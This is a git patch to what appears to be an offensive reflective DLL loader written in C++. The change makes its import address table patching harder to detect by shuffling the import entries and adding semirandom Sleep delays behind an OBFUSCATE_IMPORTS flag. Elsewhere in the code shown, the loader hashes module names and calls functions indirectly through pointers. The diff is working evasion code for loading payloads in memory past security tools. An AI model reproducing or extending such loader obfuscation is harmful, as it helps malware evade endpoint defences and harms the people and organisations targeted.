From e60e5216539e1bc08bea2a599cad66ddc40208df Mon Sep 17 00:00:00 2001 From: 17ms <79069176+17ms@users.noreply.github.com> Date: Wed, 3 Jan 2024 17:25:17 +0200 Subject: [PATCH] obfuscate loader IAT patching with conditional sleeps --- reflective_loader/loader.cpp | 39 +++++++++++++++++++++++++----------- reflective_loader/loader.hpp | 5 +++-- 2 files changed, 30 insertions(+), 14 deletions(-) diff --git a/reflective_loader/loader.cpp b/reflective_loader/loader.cpp index 0c1f3b6..edacd25 100644 --- a/reflective_loader/loader.cpp +++ b/reflective_loader/loader.cpp @@ -95,7 +95,7 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData 4.) Resolve the imports by patching the Import Address Table (IAT) */ - if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, eng)) + if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng)) { return; } @@ -189,7 +189,7 @@ void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0); } -BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng) +BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng) { auto pImportDescriptor = reinterpret_cast(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); @@ -200,8 +200,9 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat /* 1.) Shuffle Import Table entries - 2.) Conditional execution based on ordinal/name - 3.) Indirect function call via pointer + 2.) Delay the relocation of each import a semirandom duration + 3.) Conditional execution based on ordinal/name + 4.) Indirect function call via pointer */ int importCount = 0; @@ -213,7 +214,10 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat pId++; } - if (importCount > 1) + std::vector> sleepDurations; + std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS); + + if (importCount > 1 && OBFUSCATE_IMPORTS) { for (auto i = 0; i < importCount - 1; i++) { @@ -224,6 +228,10 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat auto tmp = pImportDescriptor[i]; pImportDescriptor[i] = pImportDescriptor[j]; pImportDescriptor[j] = tmp; + + // Store unique sleep durations with their corresponding import index + auto sleepTime = sleepDist(eng); + sleepDurations.push_back(std::make_pair(i, sleepTime)); } } @@ -231,8 +239,20 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat HMODULE hModule; PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat; - while (pImportDescriptor->Name) + for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) { + // Apply delay + if (OBFUSCATE_IMPORTS) + { + auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair &pair) + { return pair.first == i; }); + + if (it != sleepDurations.end()) + { + pSleep(it->second); + } + } + pwszModuleName = reinterpret_cast(pNewImageBase + pImportDescriptor->Name); hModule = pLoadLibraryW(pwszModuleName); @@ -247,7 +267,7 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat LPCSTR lpProcName; PIMAGE_IMPORT_BY_NAME pImportByName; - while (pThunkData->u1.Function) + for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) { if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { @@ -262,12 +282,7 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat } pThunkDataIat->u1.Function = reinterpret_cast(pGetProcAddress(hModule, lpProcName)); - - pThunkData++; - pThunkDataIat++; } - - pImportDescriptor++; } return TRUE; diff --git a/reflective_loader/loader.hpp b/reflective_loader/loader.hpp index b242214..bfc0ed0 100644 --- a/reflective_loader/loader.hpp +++ b/reflective_loader/loader.hpp @@ -4,7 +4,8 @@ #include #include -#define IMPORT_DELAY 6 * 1000 // 6 seconds +#define MAX_IMPORT_DELAY_MS 6 * 1000 +#define OBFUSCATE_IMPORTS 1 #define HASH_KEY 5381 #define KERNEL32_DLL_HASH 0x6DDB9555 @@ -72,5 +73,5 @@ DWORD CalculateHash(const UNICODE_STRING &baseDllName); // Loader functions void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders); BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); -BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng); +BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng); void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);